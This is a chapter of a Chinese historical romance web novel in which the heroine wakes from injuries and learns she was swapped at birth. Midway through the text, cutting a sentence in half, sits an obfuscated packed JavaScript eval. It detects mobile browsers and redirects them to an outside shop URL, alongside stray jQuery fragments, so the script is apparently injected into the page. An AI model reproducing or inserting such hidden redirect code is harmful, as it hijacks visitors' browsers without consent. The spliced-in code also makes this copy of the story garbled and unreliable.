“月儿,我的月儿,怎么会摔下马来?”
江浸月的意识还陷在混沌的边缘,耳边便传来江夫人撕心裂肺的哭喊,混着周遭一片乱糟糟的声响,像无数根细针,扎得她太阳穴突突直跳。
她费力地想睁开眼,眼皮却重得像坠了铅,只能隐约感知到周遭人影憧憧、步履匆匆。
丫鬟小厮们急得来回奔走,脚步声杂乱无章,几个管事低声交头接耳,语气里满是焦灼。
江承宇的训斥声断断续续传来,带着难掩的烦躁与不耐,还有一道清冽又急切的目光落在她身上,是戚怀安。
和盈垂着眉眼,凑在江夫人身侧低声回话,细奴捧着一方绣着兰草的锦帕,手足无措地候在一旁,眼神时不时瞟向床榻,满是担忧。
不知过了多久,周遭的嘈杂渐渐淡去,取而代之的是一缕暖融融的阳光,斜斜漫过雕花窗棂,落在铺着素色锦缎的被褥上,暖意一点点渗进肌肤,安稳得不像话。
江浸月紧绷的心神稍稍松弛,心底暗自庆幸。
还好,先前皇宫里的屈辱、那些刺耳的流言,都只是一场噩梦而已,她还在熟悉的江府,还能感受到这样踏实的暖意。
这才对嘛……没有抱错的身世,没有贵妃的刁难,没有江如雪的冷眼,一切都还是原来的样子。
“大人,夫人的伤势并无大碍。”一道温和的男声响起,是太医院的御医,语气恭敬又凝重,“腿上只是轻微挫伤,脸上的掌印敷了我院里特制的药膏,几日之后便能结痂消肿,只是……夫人昨日受了惊吓,惊惧过甚,心力交瘁,心神涣散,迟迟不愿醒来。”
说白了,是她自己不愿醒来,想躲在梦里,逃避现实。
“都下去。”成黔的声音冷沉沉的。御医躬身行礼后,便带着药箱退了出去。
佩婷与一众丫鬟也纷纷敛声屏气,悄无声息地退出了房间,只留成黔一人,守在床榻边。
房间里瞬间安静下来,只剩下江浸月平稳却微弱的呼吸声。成黔坐在床沿,目光落在她苍白的脸上,眼底翻涌着复杂的情绪。
不愿醒?
梦里究竟有什么,能让她这般贪恋?父母?戚怀安?亦或是,任何什么别的男人?
他牙关紧咬,指节攥得发白,连下颌线都绷得紧紧的。
目光扫过她脸上红肿的掌印,掠过她腿上缠着的白纱布,那满腔的怒火,又硬生生被压了下去,语气也不自觉地软了几分。
江浸月啊江浸月,你我上辈子定是仇人,不死不休。
不知又过了多久,江浸月终于缓缓睁开了眼。意识还未完全清明,指尖便先触到一片温热的触感。
一只粗糙宽厚的手掌,骨节分明,指腹带着些许薄茧,握在她的手背上,力道轻柔,却又带着不容挣脱的安稳,像极了幼时父亲握着她的手,温暖又踏实。
她心头一暖,嘴角不自觉地勾起一抹浅浅的笑意,心底的最后一丝惶恐也烟消云散。果然,之前皇宫里的一切都是噩梦,那些流言蜚语、那些折辱委屈,都只是她吓出来的幻象,她依旧在江府,依旧有人疼她护她。
她带着几分慵懒与笑意,缓缓侧过头,想看看是不是父亲,可看清那张脸时,脸上的笑意瞬间僵住,混沌的脑子也瞬间清醒了大半。
不是江承宇,不是江夫人,更不是戚怀安,而是成黔。
他枕在床沿边,眉眼微阖,长睫垂落,在眼睑下投下一片浅浅的阴影,暖金色的阳光落在他的发顶、脸颊上,柔和了他平日里冷硬的轮廓,竟也生出几分清俊温润,与他平日里冷厉的模样,判若两人。
江浸月看得有些失神,她伸手快要碰到那鸦羽般的睫毛,还有脸颊处浅淡的绒毛,下一秒,被斜斜照入的阳光刺了下眼。
她眯了眯眼,望向窗外,只见日头已然高升,透过窗棂洒进来的阳光愈发浓烈,显然已是日上三竿。
自己这是睡了多久?竟睡了这么久,连时辰都全然忘了。
她下意识地动了动腿,想换个舒服的姿势,可刚一挪动,膝头便传来一阵钝痛,僵硬得厉害,像是有无数根骨头被错位拼接,疼得她倒抽一口冷气,眉头瞬间皱成了一团。
她的动作极轻,可成黔瞬间便醒了。他睁开眼,眼底的睡意瞬间褪去,目光落在她的腿上,语气急切又带着几分斥责,“别动,腿上敷着药膏,刚止住疼,再动又要裂开了。”
江浸月这才想起脸上的伤,指尖下意识地伸过去,轻轻碰了碰脸颊,果然触到一片黏腻的药膏,心底顿时慌了起来,“我……我不会毁容吧?”
成黔看着她眼底的慌乱,语气软了下来,“不会,太医说了,那药膏是特制的,既能消肿止痛,又能不留疤痕,再过几日就消了,不会留下痕迹。”
听到这话,江浸月悬着的心才稍稍放下,可一想起昨日皇宫里的场景,委屈与慌乱又瞬间涌上心头,眼眶瞬间红了,声音沙哑干涩,“昨日真不是我挑事,是那个顾贵妃,她说我冲撞了她和腹中孩子,不分青红皂白就命人打我、罚我跪……我真的不是故意的,我只是听见那些夫人议论,说我是抱错的,说我不是江家的孩子,我一时慌了神,才会不小心撞到她的……”
她絮絮叨叨地解释着,像是在寻求安慰,又像是在证明自己的清白,生怕成黔也觉得,是她故意惹是生非。
成黔静静地听着,目光落在她泛红的眼眶上,“我知道。”成黔声音平静,“我知道。”
他的眼神如平静的海岸,很能抚慰人心。
江浸月眼泪再也忍不住,在眼眶里打转,她张了张嘴,声音颤抖得更厉害,“成黔,我……我真的是抱错的吗?”她怕他以为她又是在装,急忙又补充道,“我真的忘记了很多事情,你和我说实话,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365558|199822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是不是……是不是和江梓音抱错了?”
成黔看着她眼底的惶恐与无助,心头一紧,喉结滚动了一下,终究还是没有隐瞒,一字一句,清晰地说道,“是。”
他太清楚,这件事是江浸月的逆鳞,往日里,任何人只要在她面前提起半个字,她都会瞬间疯魔失态,哭闹不休,可这一回,她却异常平静。听到答案后,她只是微微垂眸,长长的睫毛遮住了眼底的情绪,沉默了片刻,才轻轻应了一声,“哦,我知道了。”
那语气平淡得近乎诡异,没有哭闹,没有崩溃。
房间里又陷入了沉默,气氛压抑得让人喘不过气。
江浸月率先打破了沉默,语气依旧平淡,“你不去上朝吗?”
成黔点了点头,起身整理了一下衣袍,目光又在她脸上停留了片刻,确认她没有大碍,才转身朝着门口走去。可走到门外时,他却脚步微顿,没有立刻离开。
下一秒,屋内便爆出一声压抑的痛哭。江浸月猛地拉过被子,将自己整个人都蒙在被子里,肩膀剧烈地颤抖着,呜咽声被厚厚的被子捂住,变得沉闷而破碎。
成黔站在门口,听到那压抑的哭声,下意识地抬手,想要推门进去,可手指刚触碰到门板,他又顿住了。
他清楚地知道,江浸月厌他、烦他,甚至恨他,她这般狼狈失态、脆弱不堪的模样,定然是不愿被他看到的。
江浸月蒙在被子里,哭声渐渐小了下去,可肩膀依旧在微微颤抖。她看到门外透过的阴影,心底顿时又涩又恼。他还不走,成黔这是存心要看她的笑话吗?看她这般狼狈、这般脆弱的笑话,看她一个被抱错的农家女,如何狼狈不堪、如何自怨自艾吗?
时间一点点流逝,不知过了多久,门外的那道阴影终于渐渐消失,彻底不见。
江浸月缓缓掀开被子,露出一张泪痕斑斑的脸,眼底一片空茫,没有悲伤,没有愤怒,也没有绝望,像是被抽走了所有的情绪,只剩下无尽的麻木。
她本以为,等成黔走了,她会放声大哭,会将所有的委屈与痛苦都发泄出来,可真到了这一刻,眼泪却再也流不出来了,心底空荡荡的,像是被掏空了一般,半分悲戚也提不起。
这时,佩婷端着一碗温水走了进来,见她醒了,连忙走上前,将温水递到她面前,语气恭敬,“夫人,您醒了,快喝点温水润润嗓子吧。”
江浸月接过水杯,指尖触到温热的瓷壁,才稍稍找回一丝暖意。她喝了一口温水,嗓子的干涩稍稍缓解。
要是有人能说说话,抱抱她就好了,像小时候,父亲母亲那样,如果江家夫妇不是她的亲生父母,那他们又在哪里呢?可明明她与母亲长得很像,怎么会抱错了呢?
江浸月喝了几口温水,将水杯递给佩婷,目光望向窗外,暖融融的阳光依旧明媚,可她的心底,只剩下一片空茫与茫然。